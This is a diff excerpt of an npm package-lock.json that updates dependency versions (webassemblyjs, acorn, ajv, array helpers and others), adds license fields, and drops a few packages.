-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.6.tgz",
-      "integrity": "sha512-Ybn2I6fnfIGuCR+Faaz7YcvtBKxvoLV3Lebn1tM4o/IAJzmi9AWYIPWpyBfU8cC+JxAO57bk4+zdsTjJR+VTOw==",
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz",
+      "integrity": "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==",
+      "license": "MIT",
       "dependencies": {
-        "@webassemblyjs/ast": "1.11.6",
-        "@webassemblyjs/helper-buffer": "1.11.6",
-        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
-        "@webassemblyjs/helper-wasm-section": "1.11.6",
-        "@webassemblyjs/wasm-gen": "1.11.6",
-        "@webassemblyjs/wasm-opt": "1.11.6",
-        "@webassemblyjs/wasm-parser": "1.11.6",
-        "@webassemblyjs/wast-printer": "1.11.6"
+        "@webassemblyjs/ast": "1.14.1",
+        "@webassemblyjs/helper-buffer": "1.14.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.13.2",
+        "@webassemblyjs/helper-wasm-section": "1.14.1",
+        "@webassemblyjs/wasm-gen": "1.14.1",
+        "@webassemblyjs/wasm-opt": "1.14.1",
+        "@webassemblyjs/wasm-parser": "1.14.1",
+        "@webassemblyjs/wast-printer": "1.14.1"
       }
     },
     "node_modules/@webassemblyjs/wasm-gen": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.6.tgz",
-      "integrity": "sha512-3XOqkZP/y6B4F0PBAXvI1/bky7GryoogUtfwExeP/v7Nzwo1QLcq5oQmpKlftZLbT+ERUOAZVQjuNVak6UXjPA==",
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz",
+      "integrity": "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==",
+      "license": "MIT",
       "dependencies": {
-        "@webassemblyjs/ast": "1.11.6",
-        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
-        "@webassemblyjs/ieee754": "1.11.6",
-        "@webassemblyjs/leb128": "1.11.6",
-        "@webassemblyjs/utf8": "1.11.6"
+        "@webassemblyjs/ast": "1.14.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.13.2",
+        "@webassemblyjs/ieee754": "1.13.2",
+        "@webassemblyjs/leb128": "1.13.2",
+        "@webassemblyjs/utf8": "1.13.2"
       }
     },
     "node_modules/@webassemblyjs/wasm-opt": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.6.tgz",
-      "integrity": "sha512-cOrKuLRE7PCe6AsOVl7WasYf3wbSo4CeOk6PkrjS7g57MFfVUF9u6ysQBBODX0LdgSvQqRiGz3CXvIDKcPNy4g==",
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz",
+      "integrity": "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==",
+      "license": "MIT",
       "dependencies": {
-        "@webassemblyjs/ast": "1.11.6",
-        "@webassemblyjs/helper-buffer": "1.11.6",
-        "@webassemblyjs/wasm-gen": "1.11.6",
-        "@webassemblyjs/wasm-parser": "1.11.6"
+        "@webassemblyjs/ast": "1.14.1",
+        "@webassemblyjs/helper-buffer": "1.14.1",
+        "@webassemblyjs/wasm-gen": "1.14.1",
+        "@webassemblyjs/wasm-parser": "1.14.1"
       }
     },
     "node_modules/@webassemblyjs/wasm-parser": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.6.tgz",
-      "integrity": "sha512-6ZwPeGzMJM3Dqp3hCsLgESxBGtT/OeCvCZ4TA1JUPYgmhAx38tTPR9JaKy0S5H3evQpO/h2uWs2j6Yc/fjkpTQ==",
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz",
+      "integrity": "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==",
+      "license": "MIT",
       "dependencies": {
-        "@webassemblyjs/ast": "1.11.6",
-        "@webassemblyjs/helper-api-error": "1.11.6",
-        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
-        "@webassemblyjs/ieee754": "1.11.6",
-        "@webassemblyjs/leb128": "1.11.6",
-        "@webassemblyjs/utf8": "1.11.6"
+        "@webassemblyjs/ast": "1.14.1",
+        "@webassemblyjs/helper-api-error": "1.13.2",
+        "@webassemblyjs/helper-wasm-bytecode": "1.13.2",
+        "@webassemblyjs/ieee754": "1.13.2",
+        "@webassemblyjs/leb128": "1.13.2",
+        "@webassemblyjs/utf8": "1.13.2"
       }
     },
     "node_modules/@webassemblyjs/wast-printer": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.6.tgz",
-      "integrity": "sha512-JM7AhRcE+yW2GWYaKeHL5vt4xqee5N2WcezptmgyhNS+ScggqcT1OtXykhAb13Sn5Yas0j2uv9tHgrjwvzAP4A==",
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz",
+      "integrity": "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==",
+      "license": "MIT",
       "dependencies": {
-        "@webassemblyjs/ast": "1.11.6",
+        "@webassemblyjs/ast": "1.14.1",
         "@xtuc/long": "4.2.2"
       }
     },
     "node_modules/@xtuc/ieee754": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
-      "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="
+      "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==",
+      "license": "BSD-3-Clause"
     },
     "node_modules/@xtuc/long": {
       "version": "4.2.2",
       "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
-      "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="
+      "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==",
+      "license": "Apache-2.0"
     },
     "node_modules/abab": {
       "version": "2.0.6",
       "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz",
       "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==",
-      "deprecated": "Use your platform's native atob() and btoa() methods instead"
+      "deprecated": "Use your platform's native atob() and btoa() methods instead",
+      "license": "BSD-3-Clause"
     },
     "node_modules/accepts": {
       "version": "1.3.8",
       "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
       "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
+      "license": "MIT",
       "dependencies": {
         "mime-types": "~2.1.34",
         "negotiator": "0.6.3"
@@ -4968,10 +4932,20 @@
         "node": ">= 0.6"
       }
     },
+    "node_modules/accepts/node_modules/negotiator": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
+      "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
     "node_modules/acorn": {
-      "version": "8.11.3",
-      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.3.tgz",
-      "integrity": "sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==",
+      "version": "8.15.0",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz",
+      "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==",
+      "license": "MIT",
       "bin": {
         "acorn": "bin/acorn"
       },
@@ -4983,6 +4957,7 @@
       "version": "6.0.0",
       "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz",
       "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==",
+      "license": "MIT",
       "dependencies": {
         "acorn": "^7.1.1",
         "acorn-walk": "^7.1.1"
@@ -4992,6 +4967,7 @@
       "version": "7.4.1",
       "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
       "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
+      "license": "MIT",
       "bin": {
         "acorn": "bin/acorn"
       },
@@ -4999,18 +4975,11 @@
         "node": ">=0.4.0"
       }
     },
-    "node_modules/acorn-import-assertions": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz",
-      "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==",
-      "peerDependencies": {
-        "acorn": "^8"
-      }
-    },
     "node_modules/acorn-jsx": {
       "version": "5.3.2",
       "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
       "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
+      "license": "MIT",
       "peerDependencies": {
         "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
       }
@@ -5019,6 +4988,7 @@
       "version": "7.2.0",
       "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz",
       "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.0"
       }
@@ -5027,6 +4997,7 @@
       "version": "1.2.2",
       "resolved": "https://registry.npmjs.org/address/-/address-1.2.2.tgz",
       "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 10.0.0"
       }
@@ -5035,6 +5006,7 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz",
       "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==",
+      "license": "MIT",
       "dependencies": {
         "loader-utils": "^2.0.0",
         "regex-parser": "^2.2.11"
@@ -5047,6 +5019,7 @@
       "version": "6.0.2",
       "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
       "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+      "license": "MIT",
       "dependencies": {
         "debug": "4"
       },
@@ -5059,6 +5032,7 @@
       "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
       "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "clean-stack": "^2.0.0",
         "indent-string": "^4.0.0"
@@ -5071,6 +5045,7 @@
       "version": "6.12.6",
       "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
       "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "license": "MIT",
       "dependencies": {
         "fast-deep-equal": "^3.1.1",
         "fast-json-stable-stringify": "^2.0.0",
@@ -5086,6 +5061,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz",
       "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==",
+      "license": "MIT",
       "dependencies": {
         "ajv": "^8.0.0"
       },
@@ -5099,14 +5075,15 @@
       }
     },
     "node_modules/ajv-formats/node_modules/ajv": {
-      "version": "8.12.0",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz",
-      "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==",
+      "version": "8.17.1",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
+      "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
+      "license": "MIT",
       "dependencies": {
-        "fast-deep-equal": "^3.1.1",
+        "fast-deep-equal": "^3.1.3",
+        "fast-uri": "^3.0.1",
         "json-schema-traverse": "^1.0.0",
-        "require-from-string": "^2.0.2",
-        "uri-js": "^4.2.2"
+        "require-from-string": "^2.0.2"
       },
       "funding": {
         "type": "github",
@@ -5116,17 +5093,20 @@
     "node_modules/ajv-formats/node_modules/fast-deep-equal": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+      "license": "MIT"
     },
     "node_modules/ajv-formats/node_modules/json-schema-traverse": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
-      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+      "license": "MIT"
     },
     "node_modules/ajv-keywords": {
       "version": "3.5.2",
       "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
       "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+      "license": "MIT",
       "peerDependencies": {
         "ajv": "^6.9.1"
       }
@@ -5134,12 +5114,14 @@
     "node_modules/ajv/node_modules/fast-deep-equal": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+      "license": "MIT"
     },
     "node_modules/ansi-escapes": {
       "version": "4.3.2",
       "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
       "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
+      "license": "MIT",
       "dependencies": {
         "type-fest": "^0.21.3"
       },
@@ -5150,6 +5132,18 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/ansi-html": {
+      "version": "0.0.9",
+      "resolved": "https://registry.npmjs.org/ansi-html/-/ansi-html-0.0.9.tgz",
+      "integrity": "sha512-ozbS3LuenHVxNRh/wdnN16QapUHzauqSomAl1jwwJRRsGwFwtj644lIhxfWu0Fy0acCij2+AEgHvjscq3dlVXg==",
+      "engines": [
+        "node >= 0.8.0"
+      ],
+      "license": "Apache-2.0",
+      "bin": {
+        "ansi-html": "bin/ansi-html"
+      }
+    },
     "node_modules/ansi-html-community": {
       "version": "0.0.8",
       "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz",
@@ -5157,6 +5151,7 @@
       "engines": [
         "node >= 0.8.0"
       ],
+      "license": "Apache-2.0",
       "bin": {
         "ansi-html": "bin/ansi-html"
       }
@@ -5165,30 +5160,37 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
       "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/ansi-styles": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "license": "MIT",
       "dependencies": {
-        "color-convert": "^1.9.0"
+        "color-convert": "^2.0.1"
       },
       "engines": {
-        "node": ">=4"
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
       }
     },
     "node_modules/any-promise": {
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
-      "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A=="
+      "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==",
+      "license": "MIT"
     },
     "node_modules/anymatch": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
       "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+      "license": "ISC",
       "dependencies": {
         "normalize-path": "^3.0.0",
         "picomatch": "^2.0.4"
@@ -5200,29 +5202,33 @@
     "node_modules/arg": {
       "version": "5.0.2",
       "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
-      "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="
+      "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
+      "license": "MIT"
     },
     "node_modules/argparse": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
-      "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
+      "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+      "license": "Python-2.0"
     },
     "node_modules/aria-query": {
-      "version": "5.1.3",
-      "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.1.3.tgz",
-      "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==",
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz",
+      "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
-        "deep-equal": "^2.0.5"
+        "dequal": "^2.0.3"
       }
     },
     "node_modules/array-buffer-byte-length": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz",
-      "integrity": "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==",
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz",
+      "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.5",
-        "is-array-buffer": "^3.0.4"
+        "call-bound": "^1.0.3",
+        "is-array-buffer": "^3.0.5"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5234,18 +5240,23 @@
     "node_modules/array-flatten": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
-      "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
+      "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==",
+      "license": "MIT"
     },
     "node_modules/array-includes": {
-      "version": "3.1.7",
-      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.7.tgz",
-      "integrity": "sha512-dlcsNBIiWhPkHdOEEKnehA+RNUWDc4UqFtnIXU4uuYDPtA4LDkr7qip2p0VvFAEXNDr0yWZ9PJyIRiGjRLQzwQ==",
+      "version": "3.1.9",
+      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz",
+      "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "get-intrinsic": "^1.2.1",
-        "is-string": "^1.0.7"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.24.0",
+        "es-object-atoms": "^1.1.1",
+        "get-intrinsic": "^1.3.0",
+        "is-string": "^1.1.1",
+        "math-intrinsics": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5258,20 +5269,23 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
       "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
-    "node_modules/array.prototype.filter": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/array.prototype.filter/-/array.prototype.filter-1.0.3.tgz",
-      "integrity": "sha512-VizNcj/RGJiUyQBgzwxzE5oHdeuXY5hSbbmKMlphj1cy1Vl7Pn2asCGbSrru6hSQjmCzqTBPVWAF/whmEOVHbw==",
+    "node_modules/array.prototype.findlast": {
+      "version": "1.2.5",
+      "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz",
+      "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "es-array-method-boxes-properly": "^1.0.0",
-        "is-string": "^1.0.7"
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.2",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.0.0",
+        "es-shim-unscopables": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5281,15 +5295,18 @@
       }
     },
     "node_modules/array.prototype.findlastindex": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.4.tgz",
-      "integrity": "sha512-hzvSHUshSpCflDR1QMUBLHGHP1VIEBegT4pix9H/Z92Xw3ySoy6c2qh7lJWTJnRJ8JCZ9bJNCgTyYaJGcJu6xQ==",
+      "version": "1.2.6",
+      "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz",
+      "integrity": "sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.5",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
         "define-properties": "^1.2.1",
-        "es-abstract": "^1.22.3",
+        "es-abstract": "^1.23.9",
         "es-errors": "^1.3.0",
-        "es-shim-unscopables": "^1.0.2"
+        "es-object-atoms": "^1.1.1",
+        "es-shim-unscopables": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5299,14 +5316,15 @@
       }
     },
     "node_modules/array.prototype.flat": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.2.tgz",
-      "integrity": "sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA==",
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz",
+      "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "es-shim-unscopables": "^1.0.0"
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.5",
+        "es-shim-unscopables": "^1.0.2"
       },
